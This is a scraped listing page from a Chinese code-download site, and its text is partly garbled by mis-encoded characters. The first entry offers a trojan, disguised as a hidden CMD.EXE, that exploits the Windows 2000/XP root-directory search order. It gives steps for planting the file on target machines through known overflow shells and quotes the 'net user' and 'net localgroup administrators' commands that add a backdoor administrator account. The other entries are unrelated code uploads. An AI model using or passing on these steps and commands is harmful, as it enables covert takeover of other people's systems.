你是不是經(jīng)常在開(kāi)始菜單的運(yùn)行窗口里運(yùn)行命令呢? 看看這個(gè)漏洞: http://zdnet.com /2100-1105-964057.html win2000和xp在執(zhí)行搜索的時(shí)候, 首先查找根目錄 而開(kāi)始菜單的運(yùn)行窗口里執(zhí)行命令, 也是首先在系統(tǒng)盤(pán)的根目錄里進(jìn)行查找. 這個(gè)漏洞其實(shí)是已經(jīng)是公開(kāi)的秘密了. 既然現(xiàn)在作為漏洞公布出來(lái), 我也就把網(wǎng)上的PasswordReminder.cpp拿來(lái)改了改 加了一個(gè)加超級(jí)管理員用戶和執(zhí)行cmd.exe的功能. 使用方法: 把程序解壓, 把壓縮包里的文件 CMD.EXE (該文件具有隱藏和只讀屬性) 釋放到目標(biāo)機(jī)器的系統(tǒng)盤(pán)根目錄, 一般都是在C:比如利用UNICODE/Decode漏洞就有寫(xiě)根目錄的權(quán)限, 同時(shí)Asp/fp30reg.dll等遠(yuǎn)程溢出出來(lái)的Shell, 一般都只有匿名權(quán)限, 但是它具有寫(xiě)根目錄的權(quán)限 這個(gè)時(shí)候, 就可以把本程序放到目標(biāo)機(jī)器的系統(tǒng)盤(pán)根目錄 只要等管理員在機(jī)器的開(kāi)始菜單里運(yùn)行命令: cmd 一切盡在掌握中.:) PS: 系統(tǒng)執(zhí)行后, 會(huì)先產(chǎn)生一個(gè)線程來(lái)做一些處理 然后用system()函數(shù)調(diào)用cmd.exe來(lái)讓用戶能夠執(zhí)行命令. 產(chǎn)生出來(lái)的線程會(huì)產(chǎn)生兩個(gè)進(jìn)程序執(zhí)行如下兩個(gè)命令: net user ISUR_IWAM wwwcnhonkercom /add net localgroup administrators ISUR_IWAM /add 這樣就在系統(tǒng)上增加了一個(gè)超級(jí)
標(biāo)簽： 964057 zdnet http 2100
上傳時(shí)間： 2015-01-12
上傳用戶：qlpqlq
硬盤(pán)參數(shù)讀取程序,費(fèi)話不多說(shuō)啦
標(biāo)簽： 硬盤(pán)參數(shù) 讀取 程序
上傳時(shí)間： 2014-08-29
上傳用戶：q123321
java中關(guān)於tree的寫(xiě)法,不同于往常
上傳時(shí)間： 2013-12-19
上傳用戶：xz85592677
改寫(xiě)MFC寫(xiě)的俄羅斯方塊. 很不錯(cuò),可以研究一下
上傳時(shí)間： 2013-12-27
上傳用戶：wl9454
這本書(shū)是一本非常不錯(cuò)的書(shū),讓大家一起來(lái)
標(biāo)簽： 家
上傳時(shí)間： 2015-01-14
上傳用戶：1583060504
CxxTester是一個(gè)用于C＋＋代碼的通用測(cè)試框。它支持測(cè)試庫(kù)系統(tǒng)、有一套方法的對(duì)象文件、甚至單行C＋＋源（即所有用C＋＋接口的東西）。解釋程序的前端使你能夠在不需要重新編譯代碼的情況下修改和擴(kuò)大測(cè)試。測(cè)試可以通過(guò)腳本成批執(zhí)行或者在圖表輸出的支持下交互式執(zhí)行。該工具使不同主機(jī)間的遠(yuǎn)距離測(cè)試成為可能。
標(biāo)簽： CxxTester 代碼 測(cè)試 對(duì)象
上傳時(shí)間： 2015-01-14
上傳用戶：tianjinfan
一個(gè)JAVA小程序！功能不??！
上傳時(shí)間： 2015-01-15
上傳用戶：xuan‘nian
八數(shù)碼難題求解程序本程序所采用的啟發(fā)函數(shù),本人不能證明它能解決任何的八數(shù)碼難題,如果對(duì)于較難的問(wèn)題會(huì)產(chǎn)生很多節(jié)點(diǎn),有可能會(huì)使空間不足,所以盡量不要出太難的問(wèn)題難為它.希望廣大的人工智能愛(ài)好者能寫(xiě)出更好的啟發(fā)函數(shù).
標(biāo)簽： 數(shù)碼 程序 函數(shù) 人工智能
上傳時(shí)間： 2015-01-15
上傳用戶：comua
一個(gè)很難的需求?。》凑也粫?huì)啊
標(biāo)簽： 正
上傳時(shí)間： 2013-12-24
上傳用戶：壞天使kk
一個(gè)使用htmltaglib的代碼,在網(wǎng)上或書(shū)籍上一般都看不到
標(biāo)簽： htmltaglib 代碼 書(shū)籍
上傳時(shí)間： 2013-12-12
上傳用戶：zhengzg
蟲(chóng)蟲(chóng)下載站版權(quán)所有 京ICP備2021023401號(hào)-1
